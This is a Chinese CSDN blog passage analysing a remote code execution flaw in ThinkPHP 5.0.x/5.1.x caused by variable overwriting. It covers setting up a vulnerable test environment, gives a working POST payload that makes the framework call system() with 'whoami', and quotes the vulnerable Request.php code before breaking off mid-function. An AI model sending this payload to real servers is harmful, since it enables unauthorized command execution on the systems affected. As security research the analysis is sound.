[代码审计]ThinkPHP 5.0.x 变量覆盖导致的RCE分析

本文详细分析了ThinkPHP 5.0.x和5.1.0-5.1.30版本中的一个严重安全漏洞,该漏洞可能导致远程代码执行(RCE)。通过变量覆盖,攻击者可以控制特定函数执行,进而影响系统安全。文中介绍了漏洞的环境搭建、触发条件、漏洞原理及利用过程,并对此进行了深入的代码审计,揭示了漏洞链的复杂性。
摘要由CSDN通过智能技术生成

前言

漏洞存在版本,分为两大版本:

  • ThinkPHP 5.0-5.0.24

  • ThinkPHP 5.1.0-5.1.30

环境搭建

composer create-project topthink/think=5.0.5 thinkphp5.0.5  --prefer-dist

修改composer.json

"require": {
    "php": ">=5.4.0",
    "topthink/framework": "5.0.5"
},

执行composer update
访问public/index.php
在这里插入图片描述

漏洞分析

payload:

_method=__construct&method=get&filter[]=system&get[]=whoami

在thinkphp/library/think/Request.php中的method方法里面

public function method($method = false)
    {
   
        if (true === $method) {
   
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
   
            if (isset($_POST[Config::get('var_method')])) {
   
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{
   $this
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huamanggg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值